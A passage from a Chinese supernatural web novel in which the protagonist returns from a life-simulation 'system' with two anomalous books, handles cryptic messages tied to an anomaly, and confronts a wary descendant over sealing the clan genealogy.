    系统的话让南音笙瞬间冷静，眼底的戾气逐渐转为悲伤。


    “我知道了，谢谢你系统。”


    “不客气。”


    【你询问王太后，血谭来自哪里】


    【王太后告诉你，血谭来于天赐】


    南音笙维持着悲伤的表情，连系统都没发现她眼底隐藏极深的冷意。


    血谭，是荷死亡的地方，那里曾经是烙下


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    奴隶印记的场所。


    荷一定和血谭脱不了关系。


    系统也一定做了什么。


    【54岁：王太后薨】


    【王后是你的小辈，一如既往的信任你】


    ......


    南音笙继续专注模拟，在模拟中时刻关怀现在的王后，以后的王太后，同时收拢势力，更加用心的赚钱、夺权，寻找各种异常的信息。


    家境持续增长，在南雅死前，雅南的小家，已经能和整个宗室比一比了。


    【67岁：你的小辈都尊敬你，你是他们心中永远崇敬恐惧的神明】


    【68岁：在你的影响下，小辈们面对家族外的掌权者越来越坦然，家族成员之间的感情也越来越和谐】


    ......


    【72岁：在你的带领下，嬴氏小宗开始输送特殊人才，其地位逐渐与主宗持平】


    【家境+5】


    【体：37/62，智：83/85，颜：78/90，家境：85，快乐：0】


    【73岁：你感觉自己快死了】


    南音笙待在虚无之地，静静等待着雅南的死亡。


    信息界面显示：


    南昙三日不食，面如白蜡，整晚守在雅南的床边，期望人类的血亲能够挽留住即将回归的神灵。


    她的眼里倒映着母亲的的身影，神经质般喃呢，说自己还没有实现曾经的承诺，说自己的孩子还没有坐上丞相的高位......


    王太后派人吊丧，价值千金的药材补物流水般送上，却没办法挽留一丝生机。


    新继位的秦王派来天使和星官，他们在开阔的祭台祈求上天不要收走这份礼物。


    祭祀又唱又跳，而天使在旁边大肆歌颂她的功德和贡献。


    一把火焰，将人间的悼词传向地府。


    狂风大作，余烬携着诉求高飞远翔。


    南音笙没有回应。


    【你死了】


    评价：天赐陨离，神秘承续


    评分：80


    你的一生顺遂安然，幼时亲人疼爱，中年精进不休，年老位高权重。你带领所在的家族蒸蒸日上，建立了千年世家的雏形，甚至将神秘的信息公之于世，神秘的血脉在你的后辈中觉醒。作为战国时期的贵族，你很称职。


    【恭喜合作者，获得能量点数：60+10*10+10*100=1160】


    【剩余能量点数：1185】


    【恭喜合作者，获得临时复活时长：3650天】


    【恭喜合作者，获得奖励“族谱”】


    【恭喜合作者，获得奖励“雅南书”】


    【检测到模拟人物“雅南”余血亲“南昙”、“南季”在世，是否继承血亲属性，继续模拟】


    【南昙属姓如下：体71/81，智88/93，颜90/95，家境83，快乐9】


    【南季属性如下：体77/83，智81/83，颜75/79，家境85，快乐42】


    南音笙早就有了抉择，但她沉默片刻才作出回答，“选择南季继续模拟。”


    只要模拟人物有后辈，南音笙就可以在后辈身上“复活”，一些模拟人物的技能可以转到后辈身上，同时继承后辈重置后的各项属性。


    但是之前模拟人物的属性都不算优秀，其后代的属性也不够看，所以南音笙选择重开。


    可现在...


    她需要借助“后辈”的身体，按照【南姓世家】的骨骼填充血肉。


    将千年世家，从雏形，化为现实。


    【已执行，请合作者尽快继承属性】


    南音笙看着悬浮的信息界面，在系统的注视下面露悲伤。


    “系统，先回现实世界吧。”


    “我需要缓缓，让我缓缓。”


    南季成为模拟人物后，意识毕将消散，她合该于心不忍。


    虚伪也好，两面三刀也罢，系统会满意她的表现。


    【合作者不用伤心，你的选择很正确】


    【100点能量扣除完毕】


    【正在执行，合作者请闭眼】

 12. 现实世界

    南音笙又在三秦郊外睁开眼睛。


    100点能量造就的身体，与20点能量铸造的身体差别极大。


    澎湃的能量造就了外形上更加轻盈健康的体魄，精神与身体更加契合，操控起来也方便灵活。


    而且南音笙天赋使用多了，对能量的感知越发清晰。


    她能够大致评估出这具身体在正常情况下的使用时间，也就是一年上下。


    这意味着，只要她在这具“身体”里，能量就会自动消耗。


    而系统奖励的十年“复活”时长，需要耗费近乎所有的能量点数。


    好得很，果然庄家永远不亏本。


    “合作者，剔除模拟所需的能量，我们在能量所属上的分成相同。”


    他们五五分成。


    只不过一个追求“复活”，自然需要消耗能量。


    南音笙听懂了系统的潜台词，问“系统，你的能量都用来做什么了？”


    难道是悄悄搞事？


    南音笙调动能量，屏蔽了系统插件对她内心的感知。


    “......”


    系统难得默了默，随后比较了隐瞒和坦白的优劣势，选择实话实说道，“养伤，我身受重伤，需要足够的能量治疗。”


    “你怎么会受伤？”她在初识系统时，甚至以为系统无所不能。


    “与敌人交手。祂将我重伤，我夺取祂半数能量。”


    南音笙现在对能量格外敏感，“抢过来的能量不够疗伤吗？”


    系统没有对“抢”字提出异议，语气中第一次带上感慨，“不能用，祂的能量没有过滤，吃着难受。”


    就像食肉动物啃水晶。


    硬要咽下也不是不行，但是要随时面临噎死和不消化的风险。


    “那些能量怎么办？总不可能扔掉吧。”


    “合作者需自行探索。”祂又恢复了平时的冰冷模样。


    “行吧。”南音笙一边环顾四周，观察周围熟悉的景色。一边反复推敲系统的态度和言语。


    需要她自行探索，这意味着那些能量的去处与她有关。


    或者能量的储存地与她有关。


    但是她没有大量使用能量的地方啊。


    不，不对。


    南音笙模拟出的呼吸一滞。


    模拟人生一定需要大量能量。


    至少最开始，历史偏差值极少时，一定需要巨大能量才能撬动时间。


    系统说过自己身受重伤，甚至养伤的能量都是和她平分所得，那最开始模拟所需的能量只能源于“仇敌”。


    但这也说不通啊。


    如果模拟真的动用了抢夺而来的能量，那系统为什么说不能用？


    南音笙心底种下了疑惑的种子，但是知道现在并不是追根刨底的好时机。


    她还那么弱小，不想与“绝对的权威”对抗。


    于是南音笙转移注意力，关注起手上拿着的厚厚两本书。


    此次模拟的奖励【族谱】和【雅南书】


    族谱以动物皮革为书页，前七页只记载了南雅从生到死的大小事迹，有点像简略版的模拟人生信息。


    南音笙轻轻抚上记载雅南事迹的皮纸，光滑细腻的触感让她下意识皱起眉。


    这七页不知名生物皮革的触感过于鲜活，仿佛下一秒就能活过来，很难说是正常的文字载体。


    而其他家族成员记载信息用的纸页就很正常，是熟悉的牛皮纸质感。


    南音笙暂时压下疑惑，从后面往前翻，准备看看现实世界里有哪些“家族成员”。


    最后一页只有一位家族成员的信息，叫南珏淼，是个年仅三岁的女孩。书页上记载了她三年来经历过的，相对重要的事件。


    其中之一是“小舅南赴栢愤而离家。”


    南音笙往回翻，在倒数第二页看找到了南赴栢的记录。


    其中一条，“因不满祖灵，愤而离家。”与之对应。


    “不满祖灵，愤而离家。”南音笙抚摸着字迹，想起南赴栢对自己一见如故的模样。


    她在模拟中度过了十几年，虽然死而复生后记忆加强，能清楚的记得现实世界的所有事，但依旧有种恍惚感。


    而且不出意外的话，南家的祖灵就是雅南，也就是南音笙本人。


    南赴栢如果知道他想要亲近的人，就是他不满的“祖灵”，不知道会作何感想。


    更何况她才刚刚建立起南姓世家的雏形，后辈就已经五十代开外了，这种感觉真心微妙。


    努力忽略掉这种怪异，南音笙合上族谱。


    “系统，如果我不建立南姓世家，现在的南家人会消失吗？”


    “会。”系统补充道，“他们因你而存在，但是传承千年的世家不一定与合作者有关。”


    “合作者请放心，由于时间线已经稳定，历史上能留下痕迹的人类不会受到太多影响。”


    南音笙记得系统以前也说过同样的话，只不过当时只以为是系统在安抚，现在才理解其中的潜藏意思。


    现实世界已经造成的结果不会改变，她从一开始模拟，改变的就是事情发展的因。


    只不过部分因造就新的结果，比如酒鬼、血谭，比如南家祖灵。


    部分因由于世界的稳定，阴差阳错下变成现在的模样。


    比如一定存在的传承千年的世家，比如函夏现在官方的建立及其意识形态。


    这一刻，南音笙福至心灵。


    虽然是利用系统，但是她真正意义上的改变了因果，以这种角度来看，她确实为神秘。


    更何况只要能量足够，她可以做任何事。


    因此在还算稳定和谐的现实世界，她完全不用太过担心。


    她是安全的。


    思及此，南音笙不慌不忙地端详起另一本书。


    手触上，依旧是皮革质感，只不过有股透骨的冰寒。


    而且比起族谱的朴实大气，“雅南书”上隐约有暗纹浮现，更显精致神秘。


    南音笙稍稍用力，发现没办法翻开书页，只能抚摸表皮。


    “系统？”


    “合作者需自行探索。”


    “行吧。”


    南音笙也不在意，拿好两本书就往车站方向走。


    60和80的评分奖励不止体现在能量点数，在实物上同样天差地别。


    这两本书都不是普通的东西。


    【族谱】属于未完成状态，并且能够记录的内容远比看起来多。只要家族成员未死，就会自动增添信息。


    两千年来，所有家族成员的记事，既可以成为千年世家的底蕴，又可以作为其把柄存在，是不可多得的好东西。


    而【


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    雅南书】...大概率是她通过家族收集信息后，记录下的各种异常。


    函夏时期的异常远比现在稀少，但是对于当时的人来说足够诡异。


    如果函夏时期的异常能够一直活到现在......


    【雅南书】打不开才是正常的。


    不然那些异常得多废物啊。


    至于之后能不能用，之后再说。


    她追求的从来不是可供使用的外物，而是能真真正正到手的能量。


    ......


    南音笙走到车站，正准备上车，发现车上零散的乘客都看着她，眼神惊奇。


    原本抬脚的动作顿住，顺着乘客们的视线，南音笙低头审视自己。


    衣着得体，黑金色的直裾深衣虽然对比短袖来说显得过于隆重，但是可以说是她没来得及换常服，没有问题。


    没有簪发，只是用黑金绸带简单束起，虽然不适合会客，但是她是去郊游，简单才是正常的。


    所以，他们在看什么？


    难道是她拿着的两本书被阔袖挡住，他们以为她是孕妇？


    等等...


    直裾，短袖，牛仔裤......


    “咔嚓”


    有乘客的闪光灯没关，刺眼的白灯照出南音笙僵硬的脸。


    “对不起对不起...”偷拍的乘客小声道歉，南音笙在她的歉意中僵住，迅速退回车外。


    她意识到了。


    她穿着现实世界人眼里的古装，并且身无分文，甚至没有任何能够交流的电子产品。


    而且她手上的系统奖励大概率是异常。


    不清楚污染路径的异常，离开她后绝对不会安分的异常。


    车上的乘客可不是雅南的小辈，一不小心就会被异常污染。


    让她坐车回去，和送车上的人魂归地府有什么差别。


    到时候污染、封锁、穿着古装的人，手上还拿着异常。


    地狱般的历史重现，到时候，喝再多“饮料”都无法洗清嫌疑。


    客车远处，南音笙面色狰狞，拿着系统奖励健步如飞。


    为保证其他人的安全，她最好的选择就是步行回家。


    此地距离城市大概有半小时的车程。走路五到六小时。


    现在约莫戌时，走到城市正好凌晨，是行人最稀少的时候。


    从城市边缘走到她所在的别墅大约两小时，依旧是清晨时分，应该能够“安全”到家......


    南音笙一边思考对策，一边阔步往前走，顺便调动能量解析两本书的污染路径。


    触碰【族谱】者，死。


    见【雅南书】者，将被书内的异常追逐，直至死亡。


    “......”


    她该庆幸袖子足够宽大，把【雅南书】挡得死死的吗。


    南音笙苦笑着把书抱得更紧了。


    她还试着操控身体里的能量，模拟出肉/体在不同情绪下的反映。


    南音笙突然意识到，这些东西在未来一定有用。


    现实世界是鲜活的。


    冥冥之中，这颗载满同胞的蓝色星球总在不经意间告诉她，她只是亿万普通人中的一个。


    她脚踏实地，斤斤计较。


    百般行为只为一个理想中的结果。


    她合该与常人无异。

 13. 安康来信

    有惊无险的回到家，南音笙赶紧换了着装，顺便给因电量过低而自动关机的手机充上电。


    【9月27日】


    【5：37】


    一开机，南音笙看着日期松了口气。


    她之前离开得太匆忙，没有向任何人告知去向。


    而虚无之地虽然与现实世界时间流速不同，但南音笙不知道具体比例，更不知道自己在虚无之地待了多久。


    唯一对时间的参考，只有作为夜晚雅南时，林林总总加起来的十几年光阴。


    所以南音笙模拟结束后总有隐忧，万一现实世界已经过了一年半载，那她有八张嘴都说不清了。


    还好还好，只有三四天，事情还没有到不可挽回的地步。


    言严和南赴栢的消息叮叮咚咚往外冒，从日常聊天到询问她的去向，最后告诫她，看见消息尽快回复......


    南音笙坐在沙发上，思索着怎么编故事回复。


    【言副，我回了趟老家，不好意思忘了带手机，现在才看见消息。】


    言严眼中，她是南家人，老家自然是南姓世家族地，虽然南音笙还不确定现在的南家在哪，但是不妨碍她扯大旗。


    【南顾问很抱歉，我回了趟老家，现在才看见消息。】


    【另外，南顾问最近有空吗，想请你到三秦旅游，还有点事请你帮忙。】


    南赴栢看过她的资料，并且当了真，知道她的老家在涿州。


    现代社会，在城市里穿行不带手机太扯了，所以南音笙避重就轻的同时转移话题。


    南家的孩子都有点“直”，不管是南昙还是其他小辈，一但专注某件事就会忽略其他。


    而南姓世家子弟同样不会例外，南音笙有把握让南赴栢忙起来，直到忘记追究“老家”的事。


    至于忙什么......


    南音笙扫了眼茶几上“安静乖巧”的两本书。


    打算把他们给南赴栢瞅瞅，顺便请教现代封锁方法。


    有【族谱】在手，南赴栢不会把这两本书的情况告诉官方。而他纯粹良善，也不会作出抢夺的行为。


    南音笙很放心。


    至于南赴栢对她的怀疑......有【族谱】这个大杀器，还有一见如故的交情。


    在社会上依旧青涩的南赴栢最多私下调查，绝不会将怀疑宣之于口。


    他不会对她造成任何影响。


    *


    嘟嘟两声，南赴栢比言严回复得更快。


    【小笙！】


    【有空，我明天就要到三秦出差，到时候去找你玩。有什么问题都可以问我，现在就可以问。】


    南赴栢将南音笙回老家的消息忽略得很彻底。


    完完全全沉浸在“流落在外的孩子感受到血脉相连的亲人，正渴望亲近”的快乐中。


    他在家也是小辈，很享受当“长辈”的乐趣。


    南音笙看着“小笙”两字，感觉南家人的辈分乱得可怕。


    但现在不是计较这些的时候，回复道：


    【现在不方便解释，还需要南顾问上门一趟，不胜感激】


    【没事，着急吗小笙，着急我明天上午就可以过来】


    【劳烦你了】


    南赴栢回了个OK的表情包就没了消息，南音笙怀疑他正在订机票。


    这孩子热情到可怕的地步，并且单纯好骗，让人安心。


    也许在系统眼里，她也是一样的形象。


    思绪飘忽间，言严也回了消息。


    【小笙欢迎回来，旅途辛苦】


    【需要帮忙吗】


    如南音笙所料，言严没有追究她的去向，默认她回了南家族地。


    【不用，谢谢言副，这几天劳你担忧】


    【应该的】


    两人客套几句便默契地停止发送消息。


    十几年的时光终归在南音笙身上留下了痕迹。


    虽然有关现实世界的记忆依旧鲜活彷如昨日，但真切经历过雅南的一生后，南音笙审视着记忆里言严的一言一行，陡然意识到这位星辰司副司长比表现得更加深沉。


    他的纵容和关心是有代价的，而南音笙不确定能否支付。


    因此适当的疏远成为必然。


    南音笙翻着信息，发现一位意想不到的人发来了消息。


    安康。


    圆脸微胖，看起来懒散亲切的星辰司队员。


    曾经在研究部对南音笙进行问话。


    【南小姐，无名先生想见见你】


    【沿路的痕迹已经处理干净，请放心】


    时间是今天凌晨五点，南音笙即将到达别墅。


    “......”


    无名，系统对酒鬼的称呼，也是酒鬼自己认可的名字。


    沿路的痕迹，指的是她抱着两件神秘衍生物，穿着战国袍一路从郊区回到中心城的痕迹。


    安康和酒鬼是什么关系？


    称她为南小姐，称无名为先生，可见不知道他们的“母子”关系。


    真有意思啊。


    她本以为三秦监天局有言严这么一个欲取先予的人才，已经够厉害了。


    没想到还有帮异常传话，隐藏消息不上报的。


    南音笙截图保存，存进U盘，尔后删掉后一条消息，回复道：


    【安队长，无名是？】闭口不谈所谓沿路的痕迹。


    安康秒回。


    【南小姐不用叫我队长，我只是普通队员】


    【我也不知道无名先生的情况，只是有...让我转达，希望你去一趟涿州】


    【说涿州四环钱童胡同尾，有一家名叫“古传醇酒”的店】


    【店主人会告诉你答案】


    古传，酒，无名


    三个词让南音笙再次想起模拟人物，“荷”


    同时一道模糊的画面在脑海里闪现。


    奴隶子。


    平民安。


    孤身一人，设计骗过重重守卫，闯入禁地，跳入血谭。


    如果无名成为了异常，那安呢？


    是她让安康传的消息？


    为什么她不自己来？


    南音笙对文字中的女儿没有太多情感，但荷的模拟是她进入现实世界的钥匙，难免特殊。


    而无名和安，作为荷的孩子，南音笙也会偶尔想起。


    更不用说安还在雅南的模拟中出现，揭开了王室残忍的一角。


    南音笙蠢蠢欲动，想要马上动身去涿州。


    但她却不能直接回复安康。


    【安队长，我有点不明白啊】


    【我连无名是谁都不知道，为什么要找人询问？】


    【向你传递信息的异常是不是


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    找错人了？】


    南音笙等了几秒，撤回了这条信息，重新编辑。


    【向你传递信息的人是不是认错人了？】


    【抱歉，打错字了】


    安康很快回应，仿佛没有看见上一条“错误消息”


    【南小姐自便，我只是传递消息的中间人，不清楚情况】


    过了几分钟，他又发了一条。


    【不过，那位女士似乎很期望南小姐光临】


    南音笙盯着消息，同样截图保存，上传删除。


    “女士”


    在现代是普通称呼，但在两千多年前的函夏，这个词只会指向有名有姓，并且有学识和地位的女子。


    如果安能够活到现在，或者异化为其他存在，在某些人眼里，确实有资格被称呼一句“女士”


    安康似乎在暗示店主人的身份。


    安康似乎很希望她去找店主人。


    南音笙抚摸着【雅南书】的外壳，在指尖冰冷的触感下做出决定。


    她要去涿州找“传古醇酒”，去寻找可能是安的店主，甚至借助存活已久的它们，去探查系统做过的手脚。


    但不是现在。


    绝对不是现在。


    她要耐心等待恰当的时机。


    【安队长，谢谢你的转达，但是我真的不知道什么无名，就不去了】


    这一次，安康没有回复。


    南音笙等了两个小时，在即将放下手机之时，看见她与安康聊天界面的大部分消息如同砂砾般从屏幕中消散。


    剩下的字扭曲蠕动，变成了几句简单的......微妙对话。


    【南小姐，我想见见你】


    【安队长，我有点不明白啊】


    【你是不是找错人了？】


    【很期望你的光临】


    【谢谢，不去】


    南音笙只是看着，没有调动身体里的能量阻止文字消失扭曲。


    现在的聊天信息虽然奇怪，但是不会对两人造成任何威胁，就算流传出去，最多让安康“名誉扫地”，从此捂脸见人。


    等到聊天界面的消息变幻结束，南音笙又去翻找手机和电脑里的截图。


    发现它们也已经变幻完成，现在与聊天界面的内容完全一致。


    只有U盘里的图片，南音笙没有查看，也不打算现在查看。


    没有意义了。


    不管如何，安康和异常有交集板上钉钉，他们相互知道对方有问题，却双双没有留下把柄。


    就连安康所说的“痕迹”，她也可以解释为郊游回家，想要步行。


    所以安康于她，只是一个知道她有问题，但没有威胁的对象。


    与即将来三秦的南赴栢定位一致。


    确认安全，南音笙抱着两本书，在沙发上闭目养神。


    一路疾行加上与安康斗智斗勇，她也是会心累的。


    她模模糊糊感受到久违的睡意。


    在意识即将混沌之际，南音笙突然感受到一股入肺浸骨的寒气，连存粹能量的身体都不能免疫。


    模糊的睡意瞬间消失，南音笙猛然坐起，看着手里不断挣扎的【雅南书】


    它在沸腾，在颤抖


    暗纹鎏金，似乎在和某些东西遥遥呼应，又似乎要被什么东西从里面破开。


    哭嚎般的呜呜声由内而外。

 14. 山水图

    南音笙死死捏住【雅南书】的书身，却发现身体里的能量正在大量流失，几秒就消耗大半。


    她一惊，差点把书扔出去。


    【雅南书】抓住了她惊讶的空隙，迅速打开一条口子。


    毫秒间，书页翻涌，停留在浸满墨色的一页。


    【异诡——山水图】


    与名称一起显示的，还有一幅几乎占满整页皮革纸的水墨画。


    事已至此，南音笙没有感受到危险，细细打量起这幅山水图。


    远山，飞鸟，静水，悬于侧顶的一点红日。


    很典型的现代山水画，却不应该出现在记载函夏战国时期异常的书里。


    也许是听见了南音笙的疑惑，水墨画从边缘往里迅速隐没，这页纸上很快余下大量空白。


    空白的书页缓慢蠕动，挤出一幅战国时期常见的陪葬图。


    画中右下方有一位侧身而立的无脸女性，阔袖长裙，双手合十，像在祈祷。无脸女性头顶上有一只腾空飞舞的凤鸟，尾羽向上卷起。


    凤鸟左侧是一条体态细长，还在扭曲升腾的龙。


    这是战国时期的帛画，引导墓中死者升天祝祷。


    南音笙感觉到熟悉，正准备细看，画面却再次从边缘往里隐没，片刻后印出一幅又一幅的画。


    雷雨涛涛，农人跪拜。


    无边无际的云海，云下浪潮翻涌。


    柳树垂绦，临水随风......


    险峰入云，飞鸟与共......


    上百幅不断隐没又忽现的画从简笔到浓墨，从战国到现代。


    最后画面定格，再次变为一开始的山水图案。


    南音笙想起来了。


    【山水图】原本被她取名【陪葬品】，南音笙模拟雅南时，听说楚国某城的边哨一夜间消失不见。那时楚国在和秦国交战，秦王室宣称秦得天助，因此不战而胜。楚国最后将那座边城割给秦国。


    南音笙派人去调查，发现那座边城早在交战前就有经常有人失踪，军营里莫名其妙少人的情况也不罕见，只不过都当成了逃兵处理。


    边哨不是一夜间消失的，只是一夜交战后才发现端详。


    南音笙亲自去边城看了看，找到了一座坍塌的地宫，死者的白骨堆积在地宫四周，并且视觉上和触觉上都与正常骨头大为不同，仿佛是画上去的水墨骨头，轻碾就会晕开。


    南音笙独自一人进入地宫，找到一幅活灵活现的陪葬帛画。


    它与四周的破败格格不入，显然就是一切的源头。


    那幅陪葬图最后进入了秦王的私库，南音笙失去了它的消息。


    没想到两千多年后的现在，【陪葬图】改头换面，还引起了【雅南书】的异动。


    这代表什么？


    它在躁动？


    【雅南书】比南音笙预料中更加听话懂事，展示完后悄然闭合，恢复成最开始的安静模样。


    “系统...”


    “合作者，你可以尝试捕食【山水图】”


    南音笙本准备按照流程，问一问系统，然后得到自行探索的答案。


    没想到系统会主动提及，还让她捕食...


    捕食？


    南音笙向系统插件输送了困惑的情绪。


    “合作者，你现在能将异常或神秘衍生物转化为能量，并且能够融合它们的权能。”


    “捕食它们，对现在的合作者来说只有好处。”


    南音笙心里一沉。


    随着模拟中天赋使用次数的增多，她确实更容易感知到能量，也逐渐理解了如何转化能量为自己所用。


    虽然没有实践过，但南音笙有把握，哪怕系统不帮忙塑造身体，她也可以用获得的能量捏出合适的躯干。


    但系统为什么知道？


    贸然提问只会显得虚伪，还会表达出对系统的不信任，或者让系统认为她愚蠢。


    所以南音笙没有追问，转移话题道，“那其他的异常可以吗？”


    “【山水图】从战国一直活到现在，我没把握制服它，不如先从简单的入手。”


    “合作者可以尝试，但是同源的存在无法为你提供能量，普通的异常内能量点数含量极低，不适合合作者。”


    “大多数神秘衍生物与相关神秘间有特殊感知，合作者吞噬它们的能量后，更容易被神秘发现并捕食。”


    南音笙突然失去了寻找它们的兴趣。


    “我不知道【山水图】在哪，随缘吧。”


    系统沉默片刻，在南音笙以为它的意识已经离开时，冰冷的电子音在脑海里倏然炸开。


    【请合作者积极捕食【山水图】】


    【任务完成奖励：【雅南书】正确使用方法（包括但不限于镇压，封锁，链接...）】


    南音笙翻看【族谱】的手顿住，思维在镇压，封锁两个词上转了又转。


    镇压，封锁。


    这是函夏镇国器的权能。


    只要在函夏境内的公民，并且没有信仰外教，镇国器就能保证他们的精神不受其他神秘的侵害，将一切危险控制在人力可解决的范围内——此为镇压。


    而封锁，南音笙曾在言严推荐的解密人论坛里看过相关介绍，据说函夏的封锁之所以处于世界之巅，镇国器功占大半。


    镇压和封锁难道是什么大众技能吗？


    不然【雅南书】怎么会有。


    但无论如何，南音笙确实心动了。


    虽然她可以自己慢慢探索【雅南书】的使用方法，但是不知要何时才能见效，因此才准备让南赴栢帮忙封锁这两件神秘衍生物，以防万一。


    如果系统能直接给她使用方法，那会方便很多，说不定连两本神秘衍生物都不用暴露。


    “系统，你确定我能解决【山水图】”


    她虽然免疫污染，但有直接攻击手段的异常还是能对她造成伤害，身体内的能量也会流失。


    两千多年前，雅南之所以能够拿到【陪葬品】，最大的原因是它没有反抗。


    以至于到现在，其实南音笙都不知道【陪葬品】的攻击手段是什么，只能猜测与画或墨有关。


    而且现在不比以往，她不信已经进化为【山水图】的【陪葬品】，愿意束手就擒。


    “经计算，合作者成功概率高于80%”


    “那好。”南音笙向系统插件输送了些许担忧和坚定，“我想想办法。”


    “能找到【山水图】在哪吗，如果有消息，我会立刻去做。”


    “合作者不要急，我会实时播报监天局寻找进度。”


    监天局寻找的进度？


    监天局也在找【山水图】？


    这么巧？


    南音笙不动声色，“好，辛苦了。”


    系统意识退回，南音笙抱着两本书回到卧室。


    ......


    因为有两本大杀器在，南音笙不能出门，只能在家等系统的消息。


    但整个白日过去，系统没有提示过一次。


    显然，“捕食”【山水图】的任务不是一时半会能做到的，她不暴露两本书的期望大概率要落空了。


    南音笙把【雅南书】装进书箱，放到卧室，又把【族谱】放在书房，等待明天给南赴栢看看。<


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    没想到刚把两本书分开放好，门铃就响了。


    “叮咚！叮咚！叮咚！”


    门开。


    南赴栢那张温润端方的脸映进南音笙的眸子。


    他还呲着大牙，眼神清澈，初见时的锐利形象一去不复返。


    “怎么样，小笙惊喜吗，我提前来三秦了！”


    南音笙看着他没心没肺的样子，莫名胃疼。


    “进吧，欢迎。”


    刚坐下，南赴栢就直奔主题。


    “你发消息说需要我帮忙，现在我来了，说吧小笙，有什么事。”


    “我一定帮你办妥当。”


    看着南赴栢热情活泼的样子，南音笙有一瞬间，对雅南现在后辈们的生活产生了好奇。


    “跟我来吧，小栢。”说完，南音笙起身往书房走。


    南赴栢听见称呼一愣，随后也没在意，心情很好跟了上去。


    然而这份好心情在【族谱】时戛然而止。


    南音笙褪去伪装，面无表情，态度随意的翻看【族谱】


    边看边念。


    “南赴栢，南竭钦之子，今岁29......”


    “南珏淼，南趋槿之女，今岁3......”


    南赴栢站在门口，看着眼前陌生又熟悉的南音笙没有说话。


    他感觉自己再也叫不出小笙了。


    面前人冷漠理智的模样，像极了秉公处事的大家长，仿佛这具年轻的身体里，装载着厚重而深邃的灵魂。


    简单读了几句，南音笙合上书，将它递给南赴栢。


    “这是南家【族谱】，污染路径为接触。”


    “非南家人，触之即死。”


    “小柏，封锁它。”


    南赴栢紧紧抱住【族谱】，眼神冷冽，“你是谁。”


    我是谁？


    这确实是个好问题。


    “我是南音笙。”


    “无意间得到【族谱】，无法处理，还是封锁它吧。”


    看着满身戒备又透露着无措的南赴栢，南音笙突然改变了注意。


    “如果你想带回家，也随意。”


    “不过要保密，我不想和官方纠缠。”


    南赴栢是雅南的小辈，从见到她的第一眼就表现得热情又纯粹。


    而南音笙当了十几年雅南，早就习惯在雅南后辈面前展现真实。


    因此现在面对南赴栢，居然有种摘下厚重面具的轻松感。


    这种态度却让南赴栢很茫然。


    血脉间的本能亲近做不得假，南音笙语气间的轻松和熟络做不得假。


    但细究下来，他们甚至没有相处多久。


    南音笙却能拿出足以对家里造成威胁的【族谱】。


    而现在明明该是争锋相对混合着威胁的场景，为什么南音笙能如此自然轻松？


    她没病吧？


    虽然南赴栢没有情商，但也知道有些话不能直说，转回正题。


    “家里没有你的名字，而且...”南音笙手上的不是家里的族谱。


    “【族谱】的来源，我必须知道。”


    “来源是隐秘，我不能说。”


    “但你也不用担心，我不会伤害南家人，并且保证获取【族谱】的渠道不会被任何人使用。”


    南赴栢当然不相信，讽刺道，“不会被任何人使用，你也不用？”


    也许我不是人。


    南音笙随意坐在办公椅上，侧头去看南赴栢。


    “该说的都说完了，选吧。”


    “带回雍城，还是即刻封锁。”


    她的耐心用尽了。

 15. 选择

    随着南音笙态度转变，南赴栢察觉到了让他汗毛直立的危机感。


    原本威胁的话语被堵住，他脱口而出。


    “带回去。”


    【族谱】内记载了大量家族隐秘，绝对不能流落在外。


    而翻阅过【族谱】的南音笙，按理来说也要跟着他回家一趟。


    只不过感受着书房内的低气压，南赴栢明智的咽下未出口的要求。


    直觉告诉他，他不是南音笙的对手。


    贸然行动还会让【族谱】进入官方的眼睛。


    虽然他是涿州监天局的顾问，但相较之下，家人的安危更重要。


    “那你就找个时间带回去吧。”


    “不过走之前，我要知道怎么封锁异常和神秘衍生物。”


    战国时期，封锁相对血腥。


    雅南的后辈们虽然免疫污染，但是异常们待在一起会“打架”，还会想办法搞破坏。


    为了方便保存，雅南的后辈会定期“献血”。


    金丝楠木的匣子被浸没染红，达到了与现代相同的封锁效果。


    当然，这种方法隐秘，除去雅南的直系小辈外，无人知晓。


    南音笙看了看南赴栢，还是感觉获取现代的封锁方法更方便。


    南赴栢被南音笙看得发毛，把【族谱】抱得更紧了。


    “这是机密，除非你加入监天局，或者与监天局达成合作。”


    “否则我是不会说的。”


    话刚落，南赴栢就想起自己还在南音笙的“地盘”，急忙找补，“现代社会，官方的职位叫铁饭碗，一般人很难进。”


    “你是...南家人，只要不违法乱纪，算是特殊人才，加入官方没坏处。”


    慌忙中，南赴栢下意思将南音笙当成初入社会的家族成员。


    甚至还加重了“违法乱纪”和“特殊人才”的读音，想要暗示南音笙遵守法律法规，同时强调加入官方的好处。


    直接忽略南赴栢夹带私心的建议，南音笙瞥了他一眼，“知道函夏封锁的人比比皆是，难道都和官方合作过？只不过问你最方便。”


    论坛——星火，也就是解密人专用论坛上谈论函夏封锁的帖子不少，不然南音笙也不会知道封锁与镇国器有关。


    可见封锁的具体内情并非机密。


    只不过封锁物只有官方持有，所以南音笙才选择南赴栢。


    “我哪天又得到一件神秘衍生物，万一没办法封锁，污染传播出去可不好笑。”


    南赴栢感受到了面前人耐心告捷，知道现在最好妥协。


    但也许是南音笙之前的态度轻松熟络，南赴栢隐约感觉自己不会有危险。他抱着自己都不理解的倔强，不愿松口。


    气氛越来越僵，南音笙的眼神越来越凉。


    在她开口让南赴栢“献血”之前，“叮铃铃，叮铃铃”的铃声打破了一屋寂静。


    电话的主人还抱着【族谱】，他看了眼坐在办公椅上的身影，不知道该不该接听。


    “接吧，声音外放。”南音笙看着不知何时挪步到书桌前，抱书低头如同等待老师训诫般学生的南赴栢。


    一中无奈感随之升起。


    也许是感受都南音笙话里的纵容，南赴栢一手拿书，一手拿出手机，看见响铃的手机是私人手机，松了一口气后打开扬声器。


    监天局内部，大部分要求保密的文件和任务由官方下发的专机传输，如果来电与机密有关，南赴栢还想头铁硬钢。


    “打扰了南顾问，中心城海湾别墅一号内有污染痕迹，能量等级不明，但检测人表示极可能高于中危。”


    “副队他们有急事，现在全都联系不上，三秦州能带队回收这件异常的只有您了。”


    他们有规定，高危或疑似高危的异常必须有至少一名副队级带队，如果配置没有达到要求，也要封锁区域，直至抽调或评选出合格的副队才能行动。


    “海湾别墅一号？”南赴栢抬头去瞅南音笙，刚好和她的视线对上，火燎般低下头。


    “我去。”话烫嘴，南赴栢吐出的话像滚轮，又快又急，“海湾别墅七号的南音笙刚刚和我达成合作，同意一起前往异常所在地，尽快上报。”


    “收到。”电话挂断。


    南音笙盯着南赴栢，考虑从他的桡动脉开始放血，南家人身强体壮远超常人，他不会死的。


    “小笙！”


    危机感如影随形，但是直到现在南音笙都没把他怎么样，南赴栢的胆子又冒了出来。


